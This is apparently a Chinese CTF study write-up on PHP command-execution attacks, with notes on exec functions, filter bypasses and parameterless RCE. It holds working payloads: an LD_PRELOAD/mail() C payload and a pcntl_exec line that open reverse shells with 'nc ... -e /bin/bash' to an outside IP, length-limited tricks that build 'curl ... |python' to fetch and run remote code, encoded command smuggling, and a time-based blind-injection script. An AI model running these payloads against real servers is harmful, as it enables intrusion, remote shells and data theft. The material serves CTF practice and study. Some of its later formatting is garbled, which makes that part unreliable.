php命令执行

0x01命令执行函数介绍

常见函数

system exec passthru shell_exec 反引号 popen proc_open pcntl_exec

system 有回显

system(string $command,int &$return_var = ?)

常用参数:

command:执行command参数所指定的目录,并且输出执行结果

如果提供rerurn_var参数,则外部命令执行后的返回状态将会被设置到此变量中

exec 回显最后一行

exec(字符串 $command数组 &$output = nullint &$result_code = null):

exec() 执行给定的 .command

参数

  • command

    将要执行的命令。

  • output

    如果存在该参数,则 指定的数组将填充 命令。尾随空格(如 , )不是 包含在此数组中。请注意,如果数组已经包含一些 元素中,exec() 将附加到数组的末尾。 如果你不希望函数附加元素,请在将数组传递给 exec() 之前对数组调用 unset()。output``\n

  • result_code

    如果存在参数 以及参数,则 返回已执行命令的状态将写入此 变量。result_code``output

passthru 有回显

passthru(字符串 $commandint &$result_code = null):

passthru() 函数与 exec() 函数类似,因为它都执行一个 .此功能 当 Unix 命令的输出时,应该使用 exec()system() 是二进制数据,需要直接传递回 浏览器。此作的常见用途是执行类似于 PBMPlus实用程序。由 将 Content-type 设置为 和 然后调用 PBMPluss 程序输出一个 gif,可以创建 直接输出图像的 PHP 脚本。command``image/gif

参数

command

  • 将要执行的命令。

  • result_code

    如果存在该参数,则 返回状态将放在 Unix 命令的此处。result_code

shell_exec 无回显

shell_exec(字符串 $command):字符串|错误|

参数

  • command

    将要执行的命令。

返回值

一个包含已执行命令输出的字符串,**如果**管道 cannot established 或 null(如果发生错误或命令未生成任何输出)。

注意

此函数可以在发生错误时返回 null,也可以返回程序 不产生任何输出。无法使用 这个函数。exec() 在访问 程序退出代码是必需的。

使用echo print等输出结果

popen 无回显

popen(字符串 $command字符串 $mode):资源|

参数

command

  • 命令

  • mode

    模式。要么用于阅读,要么用于写作。'r'``'w'在 Windows 上,popen() 默认为文本模式,即写入管道或从管道读取的任何字符都将被转换为 . 如果不需要,可以通过分别设置为 和 来强制执行二进制模式。\n``\r\n``mode``'rb'``'wb'

返回值

返回与 fopen() 返回的文件指针相同的文件指针,不同之处在于它是单向的(可能是 仅用于读取或写入),并且必须用 pclose() 关闭。此指针可以与 fgets()、fgetss()fwrite() 一起使用。当模式为 ‘r’ 时,返回的 file 指针等于命令的 STDOUT,当模式 是 ‘w’,则返回的文件指针等于 命令。

如果发生错误,则返回 false

fgets获取内容 -> print_r输出内容

proc_open 无回显

proc_open(数组|字符串 $command数组 $descriptor_spec数组 &$pipes字符串 $cwd = 数组 $env_vars = 数组 $options = null):resource|

proc_open() 类似于 popen(),但对程序执行的控制程度要大得多。

参数

  • command

    要作为字符串执行的命令行。特殊字符必须正确转义, 并且必须应用适当的引用。

  • descriptor_spec

    一个索引数组,其中 key 表示描述符编号, value 表示 PHP 如何将该描述符传递给 child 过程。0 是 stdin,1 是 stdout,而 2 是 stderr。每个元素可以是:描述要传递给进程的管道的数组。第一个 元素是描述符类型,第二个元素是 给定的类型。有效类型包括 (第二个 元素是将 pipe 的读取端 传递给进程,或传递写入端)和(第二个元素是文件名)。 请注意,其他任何内容都被视为 .pipe``r``w``file``w``r表示真实文件描述符的流资源(例如,打开的文件、 套接字 **STDIN)。**文件描述符编号不限于 0、1 和 2 - 您可以 指定任何有效的文件描述符编号,它将被传递给 子进程。这允许您的脚本与其他 作为 “co-process” 运行的脚本。特别是,这对于 将密码短语传递给 PGP、GPG 和 openssl 等程序 安全的方式。它对于读取状态信息也很有用 由这些程序在辅助文件描述符上提供。

  • pipes

    将设置为对应于 PHP 创建的任何管道的末尾。

  • cwd

    命令的初始工作目录。这必须是绝对目录路径**``,如果您想使用**默认值(当前 PHP 进程)

  • env_vars

    一个数组,其中包含命令的环境变量,该命令将是 run 或 null 使用与当前 PHP 进程相同的环境

  • options

    允许您指定其他选项。当前支持的选项 包括:suppress_errors(仅限 Windows):禁止显示错误 由此函数在设置为 true 时生成bypass_shell(仅限 Windows):设置为 true 时绕过 shellcmd.exe``blocking_pipes(仅限 Windows):强制 设置为 true 时阻塞管道create_process_group(仅限 Windows):允许 设置为 true 时处理事件的子进程CTRL``create_new_console(仅限 Windows):新流程 具有新的控制台,而不是继承其父级的控制台

返回值

返回表示进程的资源,完成后应使用 proc_close() 释放该资源。失败时 返回 false

pcntl_exec(字符串 $path数组 $args = [], 数组 $env_vars = []): 布尔值

使用给定的参数执行程序。

参数

  • path

    path必须是二进制可执行文件的路径,或者是 脚本,其有效路径指向 shebang ( #!/usr/local/bin/perl)作为第一行。查看系统的 man execve(2) 页面了解更多信息。

  • args

    args是传递给 程序。

  • env_vars

    env_vars是一个字符串数组,这些字符串以 环境添加到程序中。数组的格式为 name => value, 键是环境变量的名称,值是 该变量的值。

返回值

返回 false

0x02替换绕过函数过滤(过)

0x03LD_PRELOAD绕过

Screenshot_20250429_153909

Screenshot_20250429_153927

Screenshot_20250429_153954

0x04mail()函数命令

Screenshot_20250429_154005

Screenshot_20250429_154053

Screenshot_20250429_154119

Screenshot_20250429_154211

Screenshot_20250429_154303

Screenshot_20250429_154344

Screenshot_20250429_154433

Screenshot_20250429_154513

Screenshot_20250429_154610

image-20250429194350746

这个题就是

写一个demo.c文件

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("nc 121.40.70.148 -e /bin/bash");
}
int geteuid()
{
unsetenv("LD_PRELOAD");
payload();
}

demo.php文件

1
2
3
4
<?php
putenv("LD_PRELOAD=./demo.so");
mail('','','','');
?>

用kali生成demo.so文件

image-20250429194659782

将demo.php和demo.so文件一起通过蚁剑上传

这里是留着后门的

image-20250429194921050

image-20250429195013370

上传成功 开启服务器监听 然后去访问demo.php网页

image-20250429195842719

监听成功

下面这是给的第二种方法

Screenshot_20250429_154813

Screenshot_20250429_154833

Screenshot_20250429_154904

0x05蚁剑及pcntl绕过函数过滤

这里还是上面那个题 通过蚁剑插件来解题 或者 pcntl函数

antsword

Screenshot_20250429_200502

Screenshot_20250429_200607

Screenshot_20250429_200618

Screenshot_20250429_201130

pcntl_exec

Screenshot_20250429_201350

Screenshot_20250429_201529

Screenshot_20250429_201559

1
cmd=pcntl_exec("/bin/bash",array("-c","nc 121.40.70.148 2333 -e /bin/bash"));

反弹成功

image-20250429203823103

0x06操作系统链接符

;

使多个命令按顺序执行

前面的命令和后面的命令都会执行

& URL编码 %26

使命令在后台运行

这样就可以同时执行多条命令

第一条命令无法执行成功 则后面的命令也无法执行

执行的时候要进行一下url编码 不然后面的命令无法执行

1
?cmd=%26id

image-20250421223103445

|

将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数;

前面的命令和后面的命令都会执行,但只显示后面的命令执行结果

image-20250421223316794

||

类似于程序中的if-else语句。

若前面的命令执行成功,则后面的命令就不会执行;

若前面的命令执行失败,则执行后面的命令。

image-20250421223621079

0x07.空格过滤绕过

1.大括号{cat,flag.txt};

2.$IFS代替空格;$IFS、${IFS}、$IFS$9

Linux下有一个特殊的环境变量叫做IFS , 叫做内部字段分隔符(internal field separator)

1
?cmd=ls$IFS-l

单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名。

1
?cmd=ls${IFS}-l

$IFS$9-后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串

1
?cmd=ls$IFS$9-l

3.重定向字符 <, <>;

“<”表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。

1
2
3
?cmd=cat<flag.php

?cmd=cat<>flag.php

4.%09(Tab),%20(space);

1
2
3
?cmd=cat%09flag.php

?cmd=cat%20flag.php

0x08.文件名过滤绕过

1.通配符 ? * 绕过

通配符是一种特殊语句,主要有 ? 和 * ,用来模糊搜索文件。

? 在linux里面可以进行代替字母。? 仅代表单个字符串,但此单子必须存在。

1
cat fl?g.tx?

* 在linux里面可以进行模糊匹配。 * 可以代表任何字符串。

1
cat  f*

多个匹配结果同时展示

1
2
3
?cmd=passthru('cat fl?g.p?p');

?cmd=passthru('cat fl*');

2.单引号、双引号绕过

‘’、”” 代表空字符 即单引号与双引号会被解析为空字符

1
2
3
?cmd=passthru('cat f""ag.ph""p');    会被解析为   passthru('cat flag.php')  但可以绕过flag与php的过滤并执行命令

echo fl"ag.ph""p -->flag.php

3.反斜杠 \ 绕过

把特殊字符去掉功能性,单纯表示为字符串。

1
2
3
4
5
echo benben > dazhuang   会把benben  存入到dazhuang文件里

echo benben \> dazhuang 则会把 benben > dazhuang 直接输出出来

所以有 cat f\ag.p\hp 反斜杠 \ 绕过

4.特殊变量: $1到$9、$@和$*等

输出为空 空字符

1
2
3
cat  fl$1ag.t$9xt  ->  cat flag.txt

cat fl$*\ag.txt -> cat flag.txt

5.内联执行

自定义字符串,再拼接起来

1
a=f;d=l;c=ag;d=ph;e=p;cat $a$b$c$d$e     就表示  cat flag.txt

6.利用linux中的环境变量

使用环境变量里的字符执行命令。

1
2
3
4
5
echo $PATH    PATH默认系统环境变量

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games

echo f${PATH:5:1}${PATH:8:1}g ${PATH:5:1}就是从第五个字符开始 往后取一个字符即l 这里要从0开始数

image-20250421150744766

0x09.常见文件读取目录绕过

1.tac:反向显示

与cat功能类似,但是是反向显示,从最后一行往前开始显示。

image-20250421151304944

2.more:一页一页的显示档案内容

3.less:与more类似

4.tail:查看末尾几行;

1
?cmd=passthru("tail fl\ag.ph\p");

image-20250421151749762

image-20250421151811509

可以看到他是从 3 开始的显示了10行 即末尾10行

5.nl:显示的时候,顺便输出行号

image-20250421151932757

6.od:以二进制的方式读取档案内容;

1
?cmd=passthru("od -A d -c fla\g.ph\p");   这是以8进制的格式输出的

image-20250421152138076

-A d -c 会把8进制 转换为 ASCII吗字符

image-20250421152454110

7.xxd:读取二进制文件

1
xxd flag.php  ?cmd=passthru("xxd flag.php");

image-20250421152620707

8.sort:主要用于排序文件;

1
sort flag.php   ?cmd=passthru("sort flag.php");

image-20250421152717253

可以发现他把 10 和 11排前面去了

1
sort在  /usr/bin/sort  里   有时会通过?cmd=passthru("/usr/bin/sort flag.php")执行

image-20250421152853353

9.uniq:报告或删除文件中重复的行;

1
uniq flag.php    ?cmd=passthru("uniq flag.php");

image-20250421153101866

可以看到uniq只输出了一次flag

10.file -f; 报错出具体内容

1
file -f flag.php   ?cmd=passthru("file -f flag.php");

image-20250421153306972

可以看到一些 No such file or directory 的报错 把内容给显示出来了

11.grep:在文本中查找指定字符串;

1
grep flag flag.php     ?cmd=passthru("grep flag flag.php");

从flag.php文本文件中搜索包含 flag 字符串的行 并显示

image-20250421153728835

0x10.编码绕过

qq_pic_merged_1745221195907

1.base64编码

1
2
3
cat flag.php->Y2F0IGZsYWcucGhw   (base64编码)

echo Y2F0IGZsYWcucGhw | base64 -d ?cmd=passthru('`echo "Y2F0IGZsYWcucGhw"|base64 -d`');

image-20250421154156960

| 把前面指令执行的结果,变成后面指令的参数

上面echo Y2F0IGZsYWcucGhw | base64 -d

意思就是 echo Y2F0IGZsYWcucGhw的结果为Y2F0IGZsYWcucGhw

然后变成base64 -d Y2F0IGZsYWcucGhw 这里对Y2F0IGZsYWcucGhw解码 成为cat flag.php

echo Y2F0IGZsYWcucGhw|base64 -d | bash 执行命令

| 把cat flag.php, 放在bash里执行 bash里可以成功执行命令

还可以用 echo Y2F0IGZsYWcucGhw|base64 -d $(echo Y2F0IGZsYWcucGhw|base64 -d) 等

image-20250421154552855

image-20250421154802665

2.base32编码

3.HEX编码

ASCII码

1
2
3
tac flag.php ->74616320666c61672e706870
echo "74616320666c61672e706870" | xxd -r -p | bash
?cmd=passthru('echo "74616320666c61672e706870" | xxd -r -p | bash');

xxd:二进制显示和处理文件工具

-r -p将纯十六进制转储的反向输出打印为了ASCII格式

bash、sh、/bin/bash、反引号执行命令等

image-20250421155351564

4.shellcode编码

16进制的机器码

1
2
3
4
5
6
7
8
9
10
11
tac flag.php ->\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70

echo "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"

printf "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"

?cmd=passthru('printf "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70" | bash');
?cmd=passthru('`printf "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"`');反引号、$()
?cmd=system('$(printf "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")');system
?cmd=passthru('{printf,"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}|bash');
这里用echo的话 可能无法正常执行命令

这个会自动解码 不需要输入解码的命令

image-20250421155519127

0x11无回显时间盲注

命令盲注

页面无法shell反弹或者无法回显,或者没有写入权限,可尝试命令盲注。

根据返回的时间来进行判断;

读取文件指定行的指定位置的字符;

if判断语句

相关命令

1.sleep

1
sleep5  5秒之后返回结果

2.awk NR

1
2
3
4
5
cat flag

hello

Flag{success!!}

awk逐行获取数据

1
2
3
4
5
6
7
cat flag | awk NR==1

hello

cat flag | awk NR==2

Flag{success!!}

image-20250421224339689

3.cut -c

cut命令逐列获取单个字符

1
2
3
4
5
6
7
cat flag | awk NR==12 | cut -c 1

f

cat flag | awk NR==12 | cut -c 2

l

image-20250421224727636

4.if语句

判断命令是否执行

1
2
3
if [ "$(cat flag.php | awk 'NR==12' | cut -c 1)" == "f" ]; then echo "right"; fi

if [ "$(cat flag.php | awk 'NR==12' | cut -c 1)" == "a" ]; then echo "right"; fi

if[]里的判断语句为真,则执行echo “right”;否则执行fi结束

image-20250421225909000

1
if [ "$(cat flag.php | awk 'NR==12' | cut -c 1)" == "f" ]; then sleep 5;fi

if[]里判断语句为真,则执行sleep 5,休眠5秒后返回结果

py盲注脚本 ls /查看根目录来获取flag文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time
url = "http://192.168.1.6:19080/class08/1.php" //改成自己的ip地址
result = ""
for i in range(1,5):
for j in range(1,55):
#asciiç è¡¨
for k in range(32,128):
k=chr(k)
#time.sleep(0.1)
payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "

0x12长度过滤绕过前置知识

>符号和 >>符号

1.通过>来创建文件

1
echo benben > a 

创建文件a,并把字符串’benben’写入到文件a里;

通过>来将命令执行结果写入文件会覆盖掉文件原本的内容;

1
> b  直接创建文件b   类似touch b

2.通过>>追加内容

命令换行

在没有写完的命令后面加”\“,可以将一条命令写在多行:

image-20250422114101722

相当于”\“把换行的命令连接到一起执行

ls -t命令

将文件名按照时间顺序排列出来(后创建的排在前面,即离我现在输入命令时间最近的在前面)

只能精确到秒

ls 是按字母顺序显示文件名(先符号后数字再字符)

sh

sh命令是shell命令语言解释器,

执行命令从标准输入读取或从一个文件中读取

组合运用

ls -t >x

创建文件x

并把’ls -t’执行结果写入到文件x里;

ls -t 命令列出文件名。然后每个文件名按行储存;

对命令有长度限制时

把一些很短的文件名拼接成可执行命令

1
2
3
4
>创建很短的文件名
ls -t 按时间顺序列出文件名,按行存储
\连接换行命令
sh 从文件中读取命令

dir及 *和rev

dir:基本上和ls一样,但有两个好处

一是开头字母是d,这使得它在alphabetical序中靠前;

二是按列输出,不换行。

***:相当于${dir }*

1
2
dir *
echo ffff
1
2
$(dir *)      >>$(echo ffff)
ffff
1
2
*
ffff

image-20250422120439083

如果第一个文件名是命令的话就会执行命令,

返回执行的结果,之后的文件名作为参数传入。

rev:可以反转文件每一行内容。

image-20250422120623141

0x13长度为7绕过方法

期望执行命令

1
cat flag|nc 121.40.70.148 2333

自己服务器的ip

监听端口7777

nc -lvp 2333

cat flag展示内容

再通过nc 反弹

提交到 自己服务器ip:2333

6f967f4f03bac8012864b43ece5f2b4e

0x14长度为5

d52626b21edc4f1f81b68dd7d1d06f4d

8f0864797c369d6d23da65a097b6998a

cc7451361225ec7e8eb5983e1a17793e

7480448d92e6bd26b112f6e3a36b1938

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# generate `ls -t>g` to file "_"

http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

# generate `curl orange.tw|python` to file "g"

http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _

# got shell

http://host/?cmd=sh g


>\ \
>-t\
>\>a
>ls\
>ls>b
>ls>>b
>bash
>8\|\
>4\
>0.1\
>0.7\
>4\
>21.\
>\ 1\
>url\
>c\
>sh b
>sh a

0x15长度为4

3ca5fd09aa1584c44259f7d088d973e8

db3cde9e26b176f4ab6f6d716303d9c0

395380bf5c77e35c94502d543c10d0ce

c1c41c2ff73aea67285dcdc7f5265de0

0x16无参数命令执行

b4eb5c3720bb080883ebc76e2c82553c

image-20250422202532230

1
preg_replace('/[^\W]+\((?R)?\)/',",$_GET['code'])

只要’code’里匹配到

1
[^\W]+\((?R)?\)

则替换为空

1
[^\W]+\((?R)?\)

正则表达式**[^\W]**匹配字母、数字、下划线[A-Za-z0-9_]

**[^\W]+((?R)?)**匹配到”a()”形式的字符串,但是()内不能出现任何参数

(?R)代表递归,即a(b(c()))都能匹配到

1
2
3
4
5
く?php
Sa='a()';.
$b= preg_replace('/[^\W]+\((?R)?\)/',", $a);
print_r($b);
?>

a()、a(b(c()))……格式的字符串,能被替换为空

$a=’phpinfo();’,phpinfo()被替换为空,则$b=’;’

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

error_reporting(0);

highlight_file(__FILE__);

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {

eval($_GET['code']);

}

?>

匹配

1
';'== preg_replace('/[^\W]+\((?R)?\)/',",$_GET['code'])

则调用eval执行code=’phpinfo();”,phpinfo()被替换为空,

1
preg_replace(''/[^\W]+\((?R)?\)/', ",$_GET['code'])=';'

HTTP请求头绕过(php7.3)

getallheaders()

获取所有HTTP请求标头

?code=print_r(getallheaders());读取头部信息倒叙排列

写这个题记得要换到php7.3的环境 php5的环境这些函数应该还不能用

image-20250422204357389

1
?code=print_r(pos(getallheaders()));

pos()把第一项的值显示出来

1
?code=print_r(end(getallheaders()));

end()把最后一项的值显示出来

apache_request_headers()

功能与getallheaders()相似,适用于Apache服务器

image-20250422204809434

可以利用system(‘nc 192.168.248.130 -e \bin\bash’);进行shell反弹

0x17无参数全局变量RCE(php5/7)

全局变量RCE

get_defined_vars()

返回所有已定义变量的值,所组成的数组

1
?code=print_r(get_defined_vars());

image-20250423195215093

返回数组顺序为GET>POST>COOKIE>FILES

FILES 是 PHP 中的一个超级全局变量,准确地说是 $_FILES。它用于处理通过 HTTP POST 方法上传的文件。

当你使用 <form enctype="multipart/form-data" method="post"> 上传文件时:

你表单中形如:

1
2
3
4
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<input type="submit">
</form>

当用户提交这个表单并上传文件后,PHP 会自动将上传的文件信息存放在 $_FILES 数组中。


$_FILES 的结构示例:

1
2
3
4
5
6
7
8
9
10
11
Array
(
[upload] => Array
(
[name] => example.png
[type] => image/png
[tmp_name] => /tmp/phpYzdqkD
[error] => 0
[size] => 12345
)
)

字段说明:

  • name: 上传文件的原始名称。
  • type: MIME 类型。
  • tmp_name: 临时文件在服务器上的路径(存储在 PHP 的临时目录中)。
  • error: 错误代码(0 表示上传成功)。
  • size: 文件大小(单位:字节)。
1
?code=print_r(pos(get_defined_vars()));&cmd=system('ls');

image-20250423195336637

1
print_r(end(pos(get_defined_vars())));&cmd=system('ls');

image-20250423195354834

1
?code=assert(end(pos(get_defined_vars())));&cmd=system('ls');

把print_r换成eval、assert即可执行命令system(‘ls’);

image-20250423195430751

0x18无参数session RCE

利用session(php5)

session_start()

启动新会话或者重用现有会话,成功开始会返回TRUE,反之返回FALSE

1
?code=print_r(session_start());

image-20250423195814031

1
?code=print_r(session_id(session_start()));

返回PHPSESSID的值

可以使用burpsuite修改PHPSESSID的值

image-20250423200221727

1
?code=show_source(session_id(session_start()));

print_r修改为show_source()

用burpsuite修改PHPSESSID的值为./flag

用show_source读取flag文件源代码

image-20250423200416773

1
?code=eval(session_id(session_start()));

修改外部函数eval()

修改PHPSESSID的值为命令’phpinfo();’

无法直接执行 因为PHPSESSID的值里不能一些有特殊符号

先把命令’phpinfo();’HEX编码转为十六进制,写入PHPSESSID

再用hex2bin()函数将十六进制转换为二进制(原始)数据,用eval执行

PHPSESSID=706870696e666f28293b

image-20250423200940153

但是TGCTF2025里有一道题( AAA偷渡阴平(复仇)) session_start()的用法不一样 复现平台在https://ctf.xidian.edu.cn/

AAA偷渡阴平(复仇)与本靶场的比较

image-20250423202321836

这个是上面靶场的题

执行session_start();system(hex2bin(session_id(session_start()))); 是没有正常执行的

image-20250423202348671

这是TGCTF的题执行session_start();system(hex2bin(session_id())); 是正常执行的

1
system(hex2bin(session_id(session_start()))); 

而上面靶场的题执行这个是可以成功执行的 TGCTF的题不可以

image-20250423202525757

image-20250423202533828

然后在上面靶场的php7环境下试了一下TGCTF的payload仍然没有反应 当然这个靶场里原来php5环境里可以用的payload也不可以用

具体不知道是什么环境问题

0x19无参数scandir读取

利用scandir()进行文件读取 (只能进行文件读取)

当前目录

scandir()

类似ls,在某文件路径下,把内容以列表形式显示出来

  • scandir()——列出指定路径中的文件和目录(php5,7,8)
  • getcwd()——取得当前工作目录(php4,5,7,8)
  • current()——返回数组中的第一项的值(php4,5,7,8)
  • array_reverse()——返回单元顺序相反的数组(php4,5,7,8)
  • array_flip()——交换数组中的键和值(php4,5,7,8)
  • next()——将数组中的内部指针向前移动(其实就是到了数组里的下一个键和值)
  • array_rand()——从数组中随机取出一个或多个随机键
  • chdir()——系统调用函数(同cd),用于改变当前工作目录
  • strrev()——用于反转给定的字符串
  • crypt()——用来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES
  • hebrevc()——把希伯来文本从右至左的流转换为从左至右的流

查看当前目录文件名

1
?code=print_r(localeconv());

image-20250423205419114

localeconv();显示的数组第一项为”.”

1
?code=print_r(current(localeconv()));

image-20250423205607725

current()功能同pos()

1
?code=print_r(scandir(current(localeconv())));

image-20250423205937869

scandir()读取当前目录”.”下所有文件名

1
?code=print_r(array_reverse(scandir(current(localeconv()))));

倒序

image-20250423210537457

1
?code=print_r(current(array_reverse(scandir(current(localeconv)))));

image-20250423211103165

读取当前目录文件

1
?code=show_source(current(array_reverse(scandir(current(localeconv()))));

image-20250423211307372

getcwd

查看和读取当前目录文件 getcwd()当前目录

1
?code=print_r(getcwd());

image-20250423211426813

1
?code=print_r(scandir(getcwd()));

image-20250423211535294

1
?code=print_r(end(scandir(getcwd())));

image-20250423211631665

1
?code=show_source(end(scandir(getcwd())));

image-20250423211708274

上级目录

查看上一级目录文件名

1
?code=print_r(getcwd());

getcwd()当前目录

image-20250423212055150

1
?code=print_r(dirname(getcwd()));

dirname()上一级目录

image-20250423212046698

1
?code=print_r(scandir(dirname(getcwd())));

查看上一级目录文件名

image-20250423212133738

1
?code=print_r(scandir(next(scandir(getcwd()))));

效果相同 因为第二个元素是 .. 也是上级目录的意思

image-20250423212356787

读取上一级目录文件名

1
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

这会随机读取上一级目录中的一个文件的内容

1
?code=show_source(array_rand(arry_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
1
?code=show_source(array_rand(arry_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrev(crypt(phpversion())))))))))))))));

根目录

1
?code=print_r(array());
1
?code=print_r(serialize(array()));

serialize序列化

1
?code=print_r(crypt(serialize(array())));

末尾可能出现 /

crypt单向字符串散列加密,结果随机

1
?code=print_r(strrev(crypt(serialize(array()))));

反转 让开头可能出现 /

strrev 倒序

ord()函数和chr()函数

只能对第一个字符进行转码 ord()编码 chr()解码

ord(x):把单个字符变成Unicode码点(整数) 在下面paylaod这里 他只能取第一个字符

chr(x):把整数变成对应的字符 所以就有可能通过ord() 将 / 编码 再通过chr()解码 来得到 /

1
?code=print_r(chr(ord(strrev(crypt(serialize(array()))))));

image-20250427195127591

scandir 列出根目录中的文件和目录 查看根目录文件名

1
?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))));

image-20250427195513499

最后通过array_flip()反转键和键值 array_rand()随机读取键 show_source()展示源码

?code=show_source(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

这里还得拿chdir()把目录固定一下 dirname()取上级目录 (取目录的父级)

image-20250427201509100

这个就是 /flag里的内容

这里也可以通过burpsuite的intruder模块进行爆破无限发包访问

image-20250427201615308

nss Boring Code

获得 .

1

切换目录层级

1
chdir('..')
  • 将工作目录切换到上级目录(路径向上跳一层)

构造根目录路径

1
chr(pos(localtime(time())))
  • time(): 获取当前时间戳(如 1717047000

  • localtime(): 解析为时间数组 → [秒, 分, 时, ...]

  • pos(): 取第一个元素(秒数,范围 0-59)

  • chr()
    
    1
    2
    3
    4
    5
    6
    7

    : 将秒数转为ASCII字符

    - 若秒数=47 → ASCII 47 = **`/`**(根目录符号)

    #### **扫描根目录文件**

    scandir('/')
    1
    2
    3
    4
    5

    - 列出根目录所有文件 → 如 `["bin", "etc", "var", "flag"]`

    #### **获取目标文件**

    end(scandir('/'))
    1
    2
    3
    4
    5
    6
    7

    - `end()`: 取数组最后一个元素 → 假设存在文件 **`flag`**(常见CTF设计)

    ------

    #### **读取文件内容**

    readfile('/flag')
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91

    - 直接输出flag文件内容

    ### 2

    ### 第一阶段

    通过Fuzz,发现了一个file() 函数

    > file() 函数把整个文件读入一个数组中。
    >
    > 与 [file_get_contents()](https://www.w3school.com.cn/php/func_filesystem_file_get_contents.asp) 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。
    >
    > 如果失败,则返回 false

    [![img](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104131334267-926601433.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104131334267-926601433.png)





    既然是一个数组,我们可以用serialize序列化函数来转成一个字符串

    [![img](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104131432961-1833819067.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104131432961-1833819067.png)





    呢么读取flag的无参数函数就有了echo(serialize(file()))

    ### 第二阶段

    最重要的是.的获取,但是local和time都被ban了,该怎么获得.呢。当时比赛的时候确实没有fuzz出来,google搜到了一下大佬的骚姿势,链接会放在文章下方。

    #### crypt(serialize(array()));

    利用crypt返回一个加密的字符串,加密的字符串末尾有几率出现一个.

    [![img](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104132449908-1411954595.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104132449908-1411954595.png)





    [![img](https://cdn.jsdelivr.net/gh/csd0617/piclist@main/img/20250528205646341.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104132530080-470690287.png)

    [![img](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104132541865-1235099868.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104132541865-1235099868.png)







    [![img](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104132646463-1482794222.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104132646463-1482794222.png)





    总共末尾会出现四种情况

    #### **chr(ord(strrev()))**

    再通过反转字符,将.反转到第一位,可以通过ord取到第一位,再通过chr转化为.

    [![img](https://cdn.jsdelivr.net/gh/csd0617/piclist@main/img/20250528205648043.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104133053507-1426321211.png)





    ord会取字符串中的第一位转化为ascii码

    ### 第三层

    其实这里我做了不必要的date()函数吃掉bool放进array中。通过实践发现

    根本无需在crypt中加入serizlize(array()),直接crypt吃掉chdir即可,只需要crypt里面的是一个字符串,返回的bool值也是字符串

    [![img](https://cdn.jsdelivr.net/gh/csd0617/piclist@main/img/20250528205648055.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104133709454-888480156.png)







    缩短后的payload:

    echo(serialize(file(end(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

[![img](https://cdn.jsdelivr.net/gh/csd0617/piclist@main/img/20250528205648049.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104135205216-349338453.png)





